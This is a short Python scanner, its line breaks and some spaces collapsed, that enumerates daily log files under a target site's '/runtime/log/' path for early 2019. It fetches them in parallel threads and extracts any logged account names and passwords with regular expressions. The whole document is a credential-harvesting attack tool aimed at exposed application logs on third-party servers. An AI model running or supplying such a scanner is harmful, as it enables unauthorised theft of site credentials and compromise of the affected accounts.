defyear(): logs = [] year = ['201907','201906','201905','201904','201903','201902','201901'] for _ in year: for i inrange(0,31): if i <10: i = '0' + str(i) logs.append(_+'/'+str(i)+'.log') return logs
defcheck_pass(url): resp = send_request(url) pattern_pass = re.compile("'pwd' => '(.*?)'",re.S) pattern_account = re.compile("'account' => '(.*?)'",re.S) result = re.findall(pattern_pass,resp.text) if result: account = re.findall(pattern_account,resp.text) print('pwd found {}:{}'.format(account[0],result[0]))
if __name__ == '__main__': domain = sys.argv[1] domain = domain + '/runtime/log/' #print(domain) queue = Queue() for i in year(): queue.put(i) while queue.qsize()>0: if activeCount()<=10: url = '{}{}'.format(domain,queue.get()) #print(url) Thread(target=check_pass,args=(url,)).start()